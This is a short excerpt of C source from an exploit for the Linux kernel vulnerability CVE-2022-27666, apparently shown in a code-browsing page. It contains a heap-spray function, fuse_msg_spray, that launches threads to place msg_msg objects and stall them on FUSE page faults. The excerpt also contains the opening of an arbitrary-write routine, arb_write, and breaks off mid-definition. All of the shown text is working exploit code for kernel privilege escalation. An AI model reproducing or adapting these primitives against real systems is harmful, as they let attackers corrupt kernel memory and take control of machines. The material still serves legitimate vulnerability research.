Function fuse_msg_spray

CVE-2022-27666/exploit/exploit.c:1662–1675

spray $num_msg msg_msg at page_fault addr ------ use thread ----- trigger page fault at (dst+8)

}
// spray $num_msg msg_msg at page_fault addr   ------ use thread   ----- trigger page fault at (dst+8)
int fuse_msg_spray(int num_msg, int size, void *dst) {
  int i;
  initialise_shared(&spray_lock);
  pthread_mutex_lock(&spray_lock->mutex);
  for (i = 0; i<num_msg; i++) {
        struct spary_msg_arg *arg = malloc(sizeof(struct spary_msg_arg));
        arg->size = size;
        arg->dst = dst;
        hang_threads->done++;
        pthread_t *thr = malloc(sizeof(pthread_t));
        pthread_create(thr, NULL, &fuse_sendmsg, arg);
    }
  return i;
}
// arb write ---- try 8 times
bool arb_write(void *target_addr, int size, void *fuse_adr) // target_addr - write address;       size - write size;        fuse_adr+8 - trigger page fault
{